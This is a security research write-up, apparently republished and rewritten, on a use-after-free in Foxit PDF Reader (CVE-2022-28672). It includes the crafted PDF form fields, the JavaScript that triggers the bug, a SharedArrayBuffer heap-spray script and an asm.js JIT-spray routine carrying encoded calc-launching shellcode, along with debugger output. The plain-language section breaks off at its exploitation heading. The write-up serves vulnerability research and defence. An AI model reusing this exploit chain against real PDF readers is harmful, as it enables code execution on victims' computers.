Skip to content
RCE Write-up Advanced

Foxit PDF Reader - Use after Free - Remote Code Execution Exploit - CVE-2022-28672

A use-after-free in Foxit PDF Reader's handling of form field callbacks allows a crafted PDF to free a widget object and then access it, which can lead to remote code execution. The authors demonstrate heap grooming and JIT spraying to bypass DEP and ASLR and execute shellcode in the reader process.

Ashfaq Ansari Follow

Published on hacksys.io

The article presents an insightful analysis of a use-after-free vulnerability in Foxit Reader that can lead to remote code execution. The exploration further dives into JIT spraying techniques, showcasing how they can be employed to exploit this vulnerability.

Ashfaq Ansari (@HackSysTeam), Krishnakant Patil (@shsirk), on hacksys.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

Context

This is the second part of a PDF reader series. The first part covered an out-of-bounds read in Adobe Acrobat Reader caused by treating ANSI strings as Unicode, which leaked information from the sandboxed Adobe Reader process. This part moves to Foxit PDF Reader, where the authors found a use-after-free during fuzz testing and turned it into remote code execution in the context of the reader process.

Foxit PDF Reader ships with the Google V8 JavaScript engine as a backend for processing JavaScript embedded in PDF files. That detail matters later: the exploit does not rely on a browser, only on the JavaScript that a PDF can carry.

The vulnerability is tracked as CVE-2022-28672. The Zero Day Initiative purchased the exploit despite it being a bug collision.

Setup

The testbed used for the research:

  • Host OS: Windows 10 Pro 20H2 19042.804
  • Product: Foxit PDF Reader 11.1.0.52543 (x86)

The product was obtained from the Foxit downloads page. The analysis was done in a debugger against the 32-bit build, and the crash and heap commands below are from that environment.

Finding it

During fuzz testing of popular PDF readers, the authors found a use-after-free plus several other crashes in Foxit PDF Reader. The initial crash is an access violation while dereferencing a this pointer:

Text
(cbc.1a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=1c8bef98 ecx=1c8bef98 edx=00000000 esi=24984fa8 edi=104f8fd0
eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
015a4610 8b412c          mov     eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????

A quick check with the !heap command shows the memory being read is no longer allocated, which confirms a use-after-free:

Text
0:000> !ext.heap -p -a @ecx
    address 26786f98 found in
    _DPH_HEAP_ROOT @ b9d1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    267f0138:         26786000             2000
    6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
    76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
    76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
    76f28786 ntdll!RtlFreeHeap+0x00000046
    045e8fbb FoxitPDFReader![redacted]+0x004e7e4b
    045c4f4f FoxitPDFReader![redacted]+0x004c3ddf
    044d2b93 FoxitPDFReader![redacted]+0x003d1a23
    01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
    01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
    01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
    01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
    01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8
    ...

Exploitation

Step 1: build the PDF with static form fields

The test case uses static form fields in the PDF plus a JavaScript action that manipulates them. The three widget annotations below are the ones involved:

Text
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(FK2V7)]
/I [0 1]
/Ff 67379206
>>
endobj
6 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT /Ch
/Rect [553 60 781 220]
/TU (AVALAJX9P0)
/TI 990
/I [0 1]
/Ff 1743797713
>>
endobj
7 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/TU (XA225DZMOZ)
/TM (86P4A4SWL7)
/MaxLen 1002
/V ([redacted])
/Ff 45059
>>
endobj

field_10 and field_12 are choice fields (/FT /Ch), and field_15 is a text field (/FT /Tx). The JavaScript below refers to them by name.

Step 2: trigger the faulting JavaScript

The JavaScript wires callbacks together and then closes the document, which is what drives the free and the stale access:

JavaScript
var f0 = this.getField("field_15");
var f1 = this.getField("field_12");

f1.setAction("Format", "callback7()");
this.getField("field_10").setFocus();

function callback0()
{
    f1.setItems([1]);  // invokes callback7 which frees block of memory
                       // stale memory access when callback0 ends
}

function callback7()
{
    this.deletePages(0);  // frees block of memory
}

f0.setAction("Calculate", "callback0()");
this.closeDoc(true);  // invokes callback0

The sequence is: a Format action is registered on field_12 pointing at callback7; setFocus is called on field_10; a Calculate action is registered on field_15 pointing at callback0; and closeDoc(true) invokes the calculate handler. Inside callback0, setting the items property of the choice list f1 invokes its registered format callback, which deletes page 0 and frees the target object. When callback0 returns, the code touches the freed memory.

Step 3: understand the crash site

The crash happens while dereferencing the this pointer:

C++
int __thiscall sub_1734610(_DWORD *this)
{
  int v1; // eax
  bool v2; // cl

  v1 = this[11];  // CRASH while dereferencing this pointer
  v2 = 0;
  if ( v1 )
    v2 = *(_DWORD *)v1 != 0;
  if ( v2 && v1 )
    return *(_DWORD *)v1;
  else
   return 0
}

Step 4: trace the allocation

Stack trace analysis shows that sub_1729070 allocates a Widget related object of size 0x64 when this.getField("field_10").setFocus() runs. The function returns different sized objects depending on a type check; in this case the switch case condition 5 is satisfied and an object of size 0x64 is returned:

C++
int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
{
    // ...
    // {
      if ( a3 )
      {
        switch ( sub_1A2DB10(a2) )
        {
          case 1:
            LOBYTE(v24) = 3;
            v25 = operator new(0x34u);
            LOBYTE(v24) = 4;
            if ( v25 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 2:
            LOBYTE(v24) = 5;
            v26 = operator new(0x34u);
            LOBYTE(v24) = 6;
            if ( v26 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v21 = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 3:
            LOBYTE(v24) = 7;
            v27 = operator new(0x34u);
            LOBYTE(v24) = 8;
            if ( v27 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[5] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 4:
            LOBYTE(v24) = 13;
            v30 = operator new(0x54u);
            LOBYTE(v24) = 14;
            if ( v30 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[2] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 5:
            LOBYTE(v24) = 11;
            v29 = operator new(0x64u);
            LOBYTE(v24) = 12;
            if ( v29 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[3] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          case 6:
            LOBYTE(v24) = 9;
            v28 = operator new(0x6Cu);
            LOBYTE(v24) = 10;
            if ( v28 )
              v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
            else
              v4 = 0;
            v22 = v4;
            v17[4] = 0;
            v23 = 0;
            LOBYTE(v24) = 2;
            v7 = (int)v4;
            break;
          default:
            v4 = 0;
            v7 = 0;
            v22 = 0;
            break;
        }
      }
      // ...
  return v7;
}

The allocation can be confirmed in the debugger. The heap block is busy and has a user size of 64 (hex), matching 0x64:

Text
0:000> !ext.heap -p -a @eax
    address 256caf98 found in
    _DPH_HEAP_ROOT @ c911000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             25343444:         256caf98               64 -         256ca000             2000
          unknown!fillpattern
    6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
    771a6150 ntdll!RtlpAllocateHeap+0x000000f0
    771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    771a53fe ntdll!RtlAllocateHeap+0x0000003e
    04608ccc FoxitPDFReader!_malloc_base+0x00000038
    043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
    01c492d1 FoxitPDFReader!sub_1729070+0x00000261
    01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
    01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
    0118ac87 FoxitPDFReader!sub_C6A710+0x00000577
    ...

Step 5: follow the free path

When the document is closed, sub_172B3A0 is called. It asks sub_1729070 for the target object, which was already created during setFocus, and then makes an indirect call through that object:

C++
char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
{
  v2 = this;
  v35 = this;
  sub_6970E0(&v37);
  v39 = 0;
  // sub_1729070 returns target object which was already created during setFocus
  v4 = sub_1729070(v2, (int)a2, 0);
  if ( v4 )
  {
    // indirect call which also triggers format callback
    if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
    {
      sub_112B090(&v35, &v37);
      if ( v35 != (_DWORD *)v2[9] )
        sub_112AFB0(v31, v35);
LABEL_49:
      v15 = 0;
      // ...
    }
    // ...
  }
  // ...
}

The indirect call (*(unsigned __int8 (__thiscall **)(int, _DWORD ))((_DWORD *)v4 + 80))(v4, a2) invokes the format callback registered on field_12. Inside that callback, this.deletePages frees the target object. The function responsible for freeing the 0x64 object is sub_173A900, and the freed block is later accessed by sub_1734610, which crashes:

X86ASM
.text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
.text:0173A900 sub_173A900     proc near               ; CODE XREF: sub_173A8EA+3↑j
.text:0173A900                                         ; DATA XREF: .rdata:off_48159CC↓o
.text:0173A900
.text:0173A900 arg_0           = byte ptr  8
.text:0173A900
.text:0173A900                 push    ebp
.text:0173A901                 mov     ebp, esp
.text:0173A903                 push    esi
.text:0173A904                 mov     esi, ecx
.text:0173A906                 call    sub_173A7E0
.text:0173A90B                 test    [ebp+arg_0], 1
.text:0173A90F                 jz      short loc_173A91C
.text:0173A911                 push    64h ; 'd'                                        ;; size
.text:0173A913                 push    esi                                              ;; ESI - target block
.text:0173A914                 call    sub_3FD2B88                                      ;; memory free call wrapper
.text:0173A919                 add     esp, 8
.text:0173A91C
.text:0173A91C loc_173A91C:                            ; CODE XREF: sub_173A900+F↑j
.text:0173A91C                 mov     eax, esi
.text:0173A91E                 pop     esi
.text:0173A91F                 pop     ebp
.text:0173A920                 retn    4
.text:0173A920 sub_173A900     endp

Step 6: reclaim the freed block

If the same size allocation can be controlled and reallocated, code execution can be gained through the call instruction inside sub_172ADA0. With the freed block filled with 0x41414141, the debugger shows the indirect call reading through the controlled pointer:

Text
eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
01c2ade1 ff5074          call    dword ptr [eax+74h] ds:002b:414141b5=????????

During testing it was found that support for ArrayBuffer was disabled in Foxit Reader, likely as a preventative measure against common JavaScript exploit primitives such as heap spraying and out-of-bounds read/write. SharedArrayBuffer, however, was not disabled and could be used for the same purpose. The following script grooms the heap to crash the process at a controlled location:

JavaScript
// spray memory allocations
function reclaim(size, count){
    for (var i = 0; i < count; i++) {
        sprayArr[i] = new SharedArrayBuffer(size);
        var rop = new DataView(sprayArr[i]);

        // control value for - call dword ptr [eax+74h]
        // first dword is pointer to the shellcode
        rop.setUint32(0, 0x41414141);

        for (var j = 4; j < rop.byteLength/4; j+=4) {
            rop.setUint32(j, 0x42424242);
        }
    }
}

function callback0()
{
    // trigger formatCallback on field 1
    f1.setItems([1]);

    // above call should free block of memory
    // we reclaim freed memory by heap spraying of fixed allocations
    reclaim(0x58, 0x1000);
    reclaim(0x68, 0x1000);
}

In the sprayed blocks, eax points to the start of the memory buffer, and the indirect call at offset 0x74 indicates a C++ object inside Foxit where a virtual method is invoked. Controlling that object lets the attacker execute arbitrary code in the context of the Foxit process.

Step 7: bypass DEP

One way to bypass DEP is return-oriented programming: chaining short code sequences, gadgets, already present in the program's memory in a specific order to execute arbitrary code without calling sprayed shellcode directly. The bug is a use-after-free of a heap object that allows calling arbitrary addresses through a virtual function call. Heap spraying with user-controlled data is possible, but heap memory does not have execute permissions, so shellcode sprayed on the heap cannot be called. Bypassing DEP would need an arbitrary read/write primitive and a ROP chain to create an executable memory range, which the authors did not have.

Step 8: bypass CFG

Control Flow Guard protects indirect calls and is present in most modern software. Foxit was not compiled with CFG support, so any memory address within the Foxit address space can be called. That absence is what makes the virtual call usable.

Step 9: bypass ASLR

Foxit PDF Reader has ASLR enabled, so hardcoded addresses cannot be used to call shellcode. Bypassing ASLR would need a heap-leaking primitive (info-leak), which was not available.

Step 10: JIT spraying to bypass DEP and ASLR at once

JIT spraying can bypass DEP and ASLR together. Foxit ships the Google V8 JavaScript engine as a backend for JavaScript in PDF files, and testing showed Foxit is vulnerable to JIT spraying. A JIT compiler converts JavaScript bytecode into native architecture-specific code and must create memory with read-write-execute permissions to store the compiled code.

rh0dev's research on JIT spraying, particularly on the use of the asm.js feature of JavaScript, allows an attacker to spray encoded shellcode using asm.js and bypass DEP and ASLR. The referenced material is "The Return of the JIT" and the rh0dev/expdev repository.

rh0dev avatar
rh0dev avatar From the original on hacksys.io

After several attempts the authors produced a JIT spray for v8 inside Foxit. The debugger listing of PAGE_EXECUTE_READWRITE regions shows many private committed regions of size 5000:

Text
0:000> !address -f:PAGE_EXECUTE_READWRITE
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

  BaseAddr EndAddr+1 RgnSize     Type       State         Protect             Usage
----------------------------------------------------------------------------------------------
      c0000     c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    140000   145000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    1c0000   1c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    200000   205000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    280000   285000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    2c0000   2c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    300000   305000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    ...
  18c40000 18c45000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c50000 18c55000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c60000 18c65000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c70000 18c75000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c80000 18c85000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18c90000 18c95000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18ca0000 18ca5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18cb0000 18cb5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18cc0000 18cc5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  18cd0000 18cd5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    ...
  3fec0000 3fec5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
  3ff00000 3ff05000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]

The base of any allocation confirms the shellcode spraying. The first jump goes to the generated code at 18ca4780:

Text
0:000> u 18ca0000
18ca0000 e97b470000      jmp     18ca4780
18ca0005 e956470000      jmp     18ca4760
18ca000a cc              int     3
18ca000b cc              int     3
18ca000c cc              int     3

That generated code contains the encoded shellcode:

Text
18ca4780 55              push    ebp
18ca4781 89e5            mov     ebp,esp
18ca4783 6a0a            push    0Ah
18ca4785 56              push    esi
18ca4786 8b7e17          mov     edi,dword ptr [esi+17h]
18ca4789 3927            cmp     dword ptr [edi],esp
18ca478b 0f83e5010000    jae     18ca4976
18ca4791 8b7e1b          mov     edi,dword ptr [esi+1Bh]
18ca4794 8b7f07          mov     edi,dword ptr [edi+7]
18ca4797 8b461f          mov     eax,dword ptr [esi+1Fh]
18ca479a 8b00            mov     eax,dword ptr [eax]
18ca479c 68a247b419      push    19B447A2h
18ca47a1 68909090a8      push    0A8909090h
18ca47a6 6831c990a8      push    0A890C931h
18ca47ab 686a3058a8      push    0A858306Ah
18ca47b0 68648b00a8      push    0A8008B64h
18ca47b5 688b400ca8      push    0A80C408Bh
18ca47ba 688b7014a8      push    0A814708Bh

The JIT spraying script is stripped for readability; the full source is in the exploit on GitHub. It sprays calc.exe via WinExec plus ExitProcess shellcode, with a VirtualAlloc of size 0x5000:

JavaScript
// spray calc.exe WinExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
{
    var script = `
        function ${asmJsModuleName} (stdlib, ffi, heap){
            'use asm';
            var ffi_func = ffi.func;

            function ${payloadFuncName} () {
                var val = 0;
                val = ffi_func(
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa890d6ff|0,
                    0xa890006a|0,
                    0xa890d7ff|0,
                    0xa851056a|0,
                    0xa890e189|0,
                    //...
                    0xa83c538b|0,
                    0xa810588b|0,
                    0xa8ad96ad|0,
                    0xa814708b|0,
                    0xa80c408b|0,
                    0xa8008b64|0,
                    0xa858306a|0,
                    0xa890c931|0,
                    0xa8909090|0,
                    0x19b447a2|0,   //using predicated 19b40000 base
                )|0;
                return val|0;
            }
            return ${payloadFuncName};
        }

        function ${ffiFuncName} () {
            var x = 0;
            return x|0;
        }
        for (var f=0; f<0x10; f++) {
            asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
        };
    `;
    eval(script)
    // required to generate jit code
    asmJsModulesArr[asmJsModulesArr.length-1]();
}

// spray jit shellcode allocation
// 00005dbc: index to shellcode from the base of the VirtualAlloc
for (var jitcount=0; jitcount<3000; jitcount++) {
    sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
}

The exploit uses the best-educated guess of 0x19b40000 for shellcode execution, where one of the JIT sprays is located:

Text
0:025> u 19b40000
19b40000 e97b470000      jmp     19b44780
19b40005 e956470000      jmp     19b44760
19b4000a cc              int     3
19b4000b cc              int     3
19b4000c cc              int     3

The hardcoded address comes from the assumed base address in 0x19b447a2|0, // using predicated 19b40000 base, used as the starting point for the shellcode. It is referenced by a call instruction, which can be verified in the debugger:

Text
0:025> ? 19b44729+74
Evaluate expression: 431245213 = 19b4479d
0:025> dd 19b4479d
19b4479d  19b447a2 90909068 c93168a8 6a68a890
19b447ad  68a85830 a8008b64 0c408b68 708b68a8
19b447bd  ad68a814 68a8ad96 a810588b 3c538b68

Execution of the shellcode must start from 19b447a2, which the debugger confirms:

X86ASM
19b447a2 90         nop
19b447a3 90         nop
19b447a4 90         nop
19b447a5 a868       test    al, 68h
19b447a7 31c9       xor     ecx, ecx
19b447a9 90         nop
19b447aa a868       test    al, 68h
19b447ac 6a30       push    30h
19b447ae 58         pop     eax
19b447af a868       test    al, 68h
19b447b1 648b00     mov     eax, dword ptr fs:[eax]
19b447b4 a868       test    al, 68h
19b447b6 8b400c     mov     eax, dword ptr [eax+0Ch]
19b447b9 a868       test    al, 68h
...

The decoded shellcode contains a series of valid instructions that carry out the desired actions, which shows the JIT spraying succeeded in executing shellcode in the context of the Foxit process.

Root cause

The bug is a use-after-free of a Widget related object of size 0x64. setFocus on field_10 causes sub_1729070 to allocate the object (switch case 5). When the document is closed, sub_172B3A0 retrieves that same object and makes an indirect call through it, which invokes the format callback registered on field_12. That callback calls this.deletePages(0), and sub_173A900 frees the 0x64 block. Control then returns to code that still holds the pointer and dereferences it in sub_1734610, reading freed memory.

The design flaw is that a callback invoked during document teardown can free an object that the teardown path continues to use. The mitigations that would normally contain this did not apply: Foxit was not compiled with CFG, so the indirect call could target any address in the Foxit address space; heap memory is not executable, so DEP still blocked plain heap shellcode; and ASLR was enabled, so hardcoded addresses were not usable. JIT spraying with asm.js in the bundled V8 engine produced read-write-execute pages containing encoded shellcode, which bypassed DEP and ASLR together.

Impact

An attacker who can get a crafted PDF opened in Foxit PDF Reader can achieve remote code execution in the context of the Foxit PDF Reader process. The exploit demonstrated in the research runs calc.exe through WinExec and then ExitProcess. The conditions are that the target runs the affected Foxit build and that the attacker can deliver the PDF and have it opened. The exploit uses a best-educated guess of 0x19b40000 for the shellcode execution address, where one of the JIT sprays is located.

Fix

The report does not describe a specific code change. It states that if Foxit Reader had been compiled with Control Flow Guard support, the bug would have been more difficult to exploit, and that the lack of CFG allowed JIT spraying to bypass ASLR and DEP. The broader lesson the authors draw is the importance of multiple layers of defence.

Variants to test

  1. Other PDF readers with a bundled JavaScript engine: check whether ArrayBuffer is disabled while SharedArrayBuffer remains available, and whether asm.js compiles to read-write-execute pages. A positive result is a PAGE_EXECUTE_READWRITE region containing recognisable encoded shellcode after running an asm.js module.
  2. Other callback-driven frees during document teardown: register Format and Calculate actions on form fields and trigger them from closeDoc. A positive result is a crash whose heap block is reported as free-ed by !ext.heap -p -a.
  3. Choice list items assignment with a registered format callback: set items from inside another callback and observe whether the target object is freed while still referenced. A positive result is an access violation on a freed block.
  4. Readers without CFG: check whether indirect calls through controlled objects can reach arbitrary addresses in the module. A positive result is a controlled call dword ptr [eax+74h] with eax pointing at sprayed data.
  5. Readers with ASLR but no info-leak primitive: test whether JIT spraying gives a predictable enough base to land shellcode. A positive result is execution starting at the expected offset inside a sprayed allocation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 40 min read.

What happened, in plain words

A PDF file is normally just a document: pages, text, images. But PDF files can also carry small programs written in JavaScript, the same language that runs inside web pages. Foxit PDF Reader, a popular program for opening PDFs, includes a JavaScript engine (the part of the software that runs those little programs) so that forms and buttons inside a PDF can do things. The researchers in this report found a way to make a specially crafted PDF run their own code on the victim's computer, just by having the victim open the file in Foxit PDF Reader.

The bug they abused is called a use-after-free. To understand the name, imagine a hotel: you check out of room 12, the key is returned, and the room is now free for someone else. If the receptionist still has your old room number written on a note and later walks into room 12 expecting to find your luggage, they will find whatever the next guest left there instead. In software, the same thing happens when a program frees a chunk of memory (checks out of the room) but keeps a pointer to it (the note with the room number) and later reads or writes through that pointer. Whatever now sits in that memory is under someone else's control, and the program trusts it.

In this case, the researchers could arrange for the freed memory to be filled with data they chose. Because the program then treats that data as if it were a real object with functions attached, the attacker can redirect execution to code of their choosing. That is how a use-after-free becomes remote code execution (RCE): the attacker's code runs with the same permissions as Foxit PDF Reader on the victim's machine.

The vulnerability is tracked as CVE-2022-28672. A CVE is a public catalogue number for a known security flaw, so that everyone can refer to the same bug unambiguously. The report notes that the Zero Day Initiative (a programme that buys and coordinates vulnerability reports) purchased the exploit even though it was a bug collision, meaning someone else had reported the same bug independently.

This write-up is the second part of a series about PDF readers. The first part covered a different bug in Adobe Acrobat Reader, an out-of-bounds read caused by treating ANSI strings as Unicode. An out-of-bounds read means the program reads past the end of a buffer it was given, which can leak data that was never meant to be seen. That first bug leaked information from the sandboxed Adobe Reader process. A sandbox is a set of restrictions that stops a program from touching things outside its own little world. This second part moves to Foxit PDF Reader, where the authors found a use-after-free during fuzz testing and turned it into remote code execution inside the reader process.

Fuzz testing means feeding a program huge numbers of slightly mutated inputs (here, malformed PDFs) and watching for crashes. A crash is often the first sign of a memory-safety bug, because the program has done something it was never designed to do.

Setup

The research was done on a specific testbed, which is the exact combination of operating system and application version used for the experiments:

  • Host OS: Windows 10 Pro 20H2 19042.804
  • Product: Foxit PDF Reader 11.1.0.52543 (x86)

The product was downloaded from the Foxit downloads page. The (x86) suffix means this is the 32-bit build of the program, as opposed to the 64-bit build.

The analysis was done in a debugger, a tool that lets a researcher pause a running program, inspect its memory, and step through its instructions one at a time. The crash and heap commands shown below come from that environment. The !heap and !address commands are debugger extensions that describe how memory is laid out.

Finding it

During fuzz testing of popular PDF readers, the authors found a use-after-free plus several other crashes in Foxit PDF Reader. The first crash they saw is an access violation, which is the operating system's way of saying "this program tried to touch memory it is not allowed to touch". The debugger output looks like this:

Text
(cbc.1a9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=1c8bef98 ecx=1c8bef98 edx=00000000 esi=24984fa8 edi=104f8fd0
eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
015a4610 8b412c          mov     eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????

Line by line, in plain words:

  • (cbc.1a9c): Access violation - code c0000005 (first chance) says a thread in the program tried to access memory it should not, and the operating system raised an exception. c0000005 is the exception code for an access violation.
  • First chance exceptions are reported before any exception handling. means the debugger gets to see the exception before the program's own error handling does. That is useful because the program might otherwise swallow the error.
  • This exception may be expected and handled. is the debugger's standard note that the program might recover from this exception on its own.
  • The eax=... ebx=... ecx=... line lists the values of the CPU's registers. Registers are tiny, very fast storage slots inside the processor. ecx=1c8bef98 is the value the program is about to use as a memory address.
  • eip=015a4610 is the instruction pointer, the address of the instruction the CPU is currently executing. esp and ebp are the stack pointer and frame pointer, which track the current function's local workspace.
  • FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670: is the debugger's best guess at which function the instruction belongs to.
  • 015a4610 8b412c mov eax,dword ptr [ecx+2Ch] is the actual instruction: read a 4-byte value from the address ecx + 0x2C and put it in eax.
  • ds:002b:1c8befc4=???????? shows the address being read (1c8befc4, which is ecx plus 0x2C) and the fact that the debugger cannot read it. The ???????? means the memory is not accessible.

So the program tried to read a field inside an object, and the object's address was no longer valid. That is the classic signature of a use-after-free. To confirm, the researchers ran the !heap command, which asks the debugger to describe the memory block at that address:

Text
0:000> !ext.heap -p -a @ecx
    address 26786f98 found in
    _DPH_HEAP_ROOT @ b9d1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    267f0138:         26786000             2000
    6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
    76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
    76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
    76f28786 ntdll!RtlFreeHeap+0x00000046
    045e8fbb FoxitPDFReader![redacted]+0x004e7e4b
    045c4f4f FoxitPDFReader![redacted]+0x004c3ddf
    044d2b93 FoxitPDFReader![redacted]+0x003d1a23
    01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
    01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
    01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
    01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
    01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8
    ...

What this tells us:

  • !ext.heap -p -a @ecx asks the heap extension to describe the allocation that contains the address currently in ecx.
  • address 26786f98 found in _DPH_HEAP_ROOT @ b9d1000 says the address belongs to a particular heap, identified by its root structure.
  • in free-ed allocation is the key phrase: the memory block is currently free, not in use. That is the proof of use-after-free.
  • The DPH_HEAP_BLOCK line shows the block's virtual address range and size (2000 bytes).
  • The stack trace below lists the functions that were involved in freeing the block, from the deepest (the actual free) up through the callers. The names are again compiler-mangled, but the point is that the free happened inside Foxit's own code, not in the operating system.

Exploitation

